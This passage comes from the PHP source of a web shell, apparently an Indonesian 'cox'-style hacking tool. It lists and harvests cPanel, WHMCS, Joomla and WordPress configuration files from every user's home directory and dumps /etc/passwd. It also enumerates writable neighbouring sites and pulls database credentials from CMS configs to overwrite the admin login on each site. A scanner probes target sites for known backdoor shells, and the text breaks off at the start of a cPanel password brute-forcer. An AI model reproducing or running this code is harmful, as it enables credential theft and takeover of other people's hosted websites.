  1132. "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1133. "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1134. "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1135. "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1136. "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1137. "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1138. "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1139. "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1140. "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1141. "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1142. "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1143. "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1144. "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1145. "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1146. "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1147. "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1148. "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1149. "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1150. "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1151. "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1152. "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1153. "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1154. "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1155. "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1156. "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1157. "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1158. "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1159. "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1160. "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1161. "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1162. "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1163. "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1164. "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1165. "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1166. "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1167. "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1168. "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1169. "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1170. "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1171. "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1172. "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1173. "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1174. "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1175. "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1176. "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1177. "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1178. "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1179. "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1180. "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1181. "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1182. "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1183. "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1184. "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1185. "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1186. "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1187. "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1188. "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1189. "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1190. "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1191. "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1192. "/home3/$user_cox/.my.cnf" => "cpanel",
  1193. "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1194. "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1195. "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1196. "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1197. "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  1198. "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1199. "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1200. "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1201. "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1202. "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1203. "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1204. "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1205. "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1206. "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1207. "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1208. "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1209. "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1210. "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1211. "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
  1212. "/home3/$user_cox/public_html/configuration.php" => "Joomla",
  1213. "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1214. "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1215. "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  1216. "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1217. "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1218. "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1219. "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1220. "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1221. "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1222. "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1223. "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1224. "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1225. "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1226. "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1227. "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1228. "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1229. "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1230. "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1231. "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1232. "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1233. "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1234. "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1235. "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1236. "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1237. "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1238. "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1239. "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1240. "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1241. "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1242. "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1243. "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1244. "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1245. "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1246. "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1247. "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1248. "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  1249. "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1250. "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1251. "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1252. "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  1253. "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1254. "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1255. "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1256. "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1257. "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1258. "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1259. "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1260. "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1261. "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1262. "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1263. "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1264. "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1265. "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1266. "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1267. "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1268. "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1269. "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1270. "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1271. "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1272. "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1273. "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1274. "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1275. "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1276. "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1277. "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1278. "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1279. "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1280. "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1281. "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1282. "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1283. "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1284. "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1285. "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
  1286. );
  1287. foreach($grab_config as $config => $nama_config) {
  1288. $ambil_config = file_get_contents($config);
  1289. if($ambil_config == '') {
  1290. } else {
  1291. $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1292. fputs($file_config,$ambil_config);
  1293. }
  1294. }
  1295. }
  1296. }
  1297. echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1298. }else{
  1299.  
  1300. echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1301. echo file_get_contents('/etc/passwd');
  1302. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1303. }
  1304. } elseif($_GET['do'] == 'jumping') {
  1305. $i = 0;
  1306. echo "<pre><div class='margin: 5px auto;'>";
  1307. $etc = fopen("/etc/passwd", "r");
  1308. while($passwd = fgets($etc)) {
  1309. if($passwd == '' || !$etc) {
  1310. echo "<font color=red>Can't read /etc/passwd</font>";
  1311. } else {
  1312. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1313. foreach($user_jumping[1] as $user_idx_jump) {
  1314. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1315. if(is_readable($user_jumping_dir)) {
  1316. $i++;
  1317. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1318. if(is_writable($user_jumping_dir)) {
  1319. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1320. }
  1321. echo $jrw;
  1322. $domain_jump = file_get_contents("/etc/named.conf");
  1323. if($domain_jump == '') {
  1324. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1325. } else {
  1326. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1327. foreach($domains_jump[1] as $dj) {
  1328. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1329. $user_jumping_url = $user_jumping_url['name'];
  1330. if($user_jumping_url == $user_idx_jump) {
  1331. echo " => ( <u>$dj</u> )<br>";
  1332. break;
  1333. }
  1334. }
  1335. }
  1336. }
  1337. }
  1338. }
  1339. }
  1340. if($i == 0) {
  1341. } else {
  1342. echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1343. }
  1344. echo "</div></pre>";
  1345. } elseif($_GET['do'] == 'auto_edit_user') {
  1346. if($_POST['hajar']) {
  1347. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1348. echo "username atau password harus lebih dari 6 karakter";
  1349. } else {
  1350. $user_baru = $_POST['user_baru'];
  1351. $pass_baru = md5($_POST['pass_baru']);
  1352. $conf = $_POST['config_dir'];
  1353. $scan_conf = scandir($conf);
  1354. foreach($scan_conf as $file_conf) {
  1355. if(!is_file("$conf/$file_conf")) continue;
  1356. $config = file_get_contents("$conf/$file_conf");
  1357. if(preg_match("/JConfig|joomla/",$config)) {
  1358. $dbhost = ambilkata($config,"host = '","'");
  1359. $dbuser = ambilkata($config,"user = '","'");
  1360. $dbpass = ambilkata($config,"password = '","'");
  1361. $dbname = ambilkata($config,"db = '","'");
  1362. $dbprefix = ambilkata($config,"dbprefix = '","'");
  1363. $prefix = $dbprefix."users";
  1364. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1365. $db = mysql_select_db($dbname);
  1366. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1367. $result = mysql_fetch_array($q);
  1368. $id = $result['id'];
  1369. $site = ambilkata($config,"sitename = '","'");
  1370. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1371. echo "Config => ".$file_conf."<br>";
  1372. echo "CMS => Joomla<br>";
  1373. if($site == '') {
  1374. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1375. } else {
  1376. echo "Sitename => $site<br>";
  1377. }
  1378. if(!$update OR !$conn OR !$db) {
  1379. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1380. } else {
  1381. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1382. }
  1383. mysql_close($conn);
  1384. } elseif(preg_match("/WordPress/",$config)) {
  1385. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1386. $dbuser = ambilkata($config,"DB_USER', '","'");
  1387. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1388. $dbname = ambilkata($config,"DB_NAME', '","'");
  1389. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1390. $prefix = $dbprefix."users";
  1391. $option = $dbprefix."options";
  1392. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1393. $db = mysql_select_db($dbname);
  1394. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1395. $result = mysql_fetch_array($q);
  1396. $id = $result[ID];
  1397. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1398. $result2 = mysql_fetch_array($q2);
  1399. $target = $result2[option_value];
  1400. if($target == '') {
  1401. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1402. } else {
  1403. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1404. }
  1405. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1406. echo "Config => ".$file_conf."<br>";
  1407. echo "CMS => Wordpress<br>";
  1408. echo $url_target;
  1409. if(!$update OR !$conn OR !$db) {
  1410. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1411. } else {
  1412. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1413. }
  1414. mysql_close($conn);
  1415. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1416. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1417. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1418. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1419. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1420. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1421. $prefix = $dbprefix."admin_user";
  1422. $option = $dbprefix."core_config_data";
  1423. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1424. $db = mysql_select_db($dbname);
  1425. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1426. $result = mysql_fetch_array($q);
  1427. $id = $result[user_id];
  1428. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1429. $result2 = mysql_fetch_array($q2);
  1430. $target = $result2[value];
  1431. if($target == '') {
  1432. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1433. } else {
  1434. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1435. }
  1436. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1437. echo "Config => ".$file_conf."<br>";
  1438. echo "CMS => Magento<br>";
  1439. echo $url_target;
  1440. if(!$update OR !$conn OR !$db) {
  1441. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1442. } else {
  1443. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1444. }
  1445. mysql_close($conn);
  1446. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1447. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1448. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1449. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1450. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1451. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1452. $prefix = $dbprefix."user";
  1453. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1454. $db = mysql_select_db($dbname);
  1455. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1456. $result = mysql_fetch_array($q);
  1457. $id = $result[user_id];
  1458. $target = ambilkata($config,"HTTP_SERVER', '","'");
  1459. if($target == '') {
  1460. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1461. } else {
  1462. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1463. }
  1464. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1465. echo "Config => ".$file_conf."<br>";
  1466. echo "CMS => OpenCart<br>";
  1467. echo $url_target;
  1468. if(!$update OR !$conn OR !$db) {
  1469. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1470. } else {
  1471. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1472. }
  1473. mysql_close($conn);
  1474. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1475. $dbhost = ambilkata($config,'server = "','"');
  1476. $dbuser = ambilkata($config,'username = "','"');
  1477. $dbpass = ambilkata($config,'password = "','"');
  1478. $dbname = ambilkata($config,'database = "','"');
  1479. $prefix = "users";
  1480. $option = "identitas";
  1481. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1482. $db = mysql_select_db($dbname);
  1483. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1484. $result = mysql_fetch_array($q);
  1485. $target = $result[alamat_website];
  1486. if($target == '') {
  1487. $target2 = $result[url];
  1488. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1489. if($target2 == '') {
  1490. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1491. } else {
  1492. $cek_login3 = file_get_contents("$target2/adminweb/");
  1493. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1494. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1495. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1496. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1497. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1498. } else {
  1499. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1500. }
  1501. }
  1502. } else {
  1503. $cek_login = file_get_contents("$target/adminweb/");
  1504. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1505. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1506. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1507. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1508. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1509. } else {
  1510. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1511. }
  1512. }
  1513. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1514. echo "Config => ".$file_conf."<br>";
  1515. echo "CMS => Lokomedia<br>";
  1516. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1517. echo $url_target2;
  1518. } else {
  1519. echo $url_target;
  1520. }
  1521. if(!$update OR !$conn OR !$db) {
  1522. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1523. } else {
  1524. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1525. }
  1526. mysql_close($conn);
  1527. }
  1528. }
  1529. }
  1530. } else {
  1531. echo "<center>
  1532. <h1>Auto Edit User Config</h1>
  1533. <form method='post'>
  1534. DIR Config: <br>
  1535. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1536. Set User & Pass: <br>
  1537. <input type='text' name='user_baru' value='0x1999' placeholder='user_baru'><br>
  1538. <input type='text' name='pass_baru' value='0x1999' placeholder='pass_baru'><br>
  1539. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1540. </form>
  1541. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1542. ";
  1543. }
  1544. }elseif($_GET['do'] == 'shelscan') {
  1545. echo'<center><h2>Shell Finder</h2>
  1546. <form action="" method="post">
  1547. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1548. <br>
  1549. <input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
  1550. </form><br>';
  1551. if (isset($_POST["scan"])) {
  1552. $url = $_POST['traget'];
  1553. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1554. echo "Result :<br />";
  1555. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1556. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1557. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1558. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1559. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1560. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1561. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1562. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1563. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1564. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1565. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1566. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1567. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1568. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1569. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1570. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  1571. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  1572. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1573. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1574. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1575. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1576. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1577. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1578. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1579. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1580. foreach ($shells as $shell){
  1581. $headers = get_headers("$url$shell"); //
  1582. if (eregi('200', $headers[0])) {
  1583. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1584. $dz = fopen('shells.txt', 'a+');
  1585. $suck = "$url$shell";
  1586. fwrite($dz, $suck."\n");
  1587. }
  1588. }
  1589. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1590. }
  1591.  
  1592. }
  1593. elseif($_GET['do'] == 'cpanel') {
  1594. if($_POST['crack']) {
  1595. $usercp = explode("\r\n", $_POST['user_cp']);
  1596. $passcp = explode("\r\n", $_POST['pass_cp']);
  1597. $i = 0;
  1598. foreach($usercp as $ucp) {
  1599. foreach($passcp as $pcp) {
  1600. if(@mysql_connect('localhost', $ucp, $pcp)) {
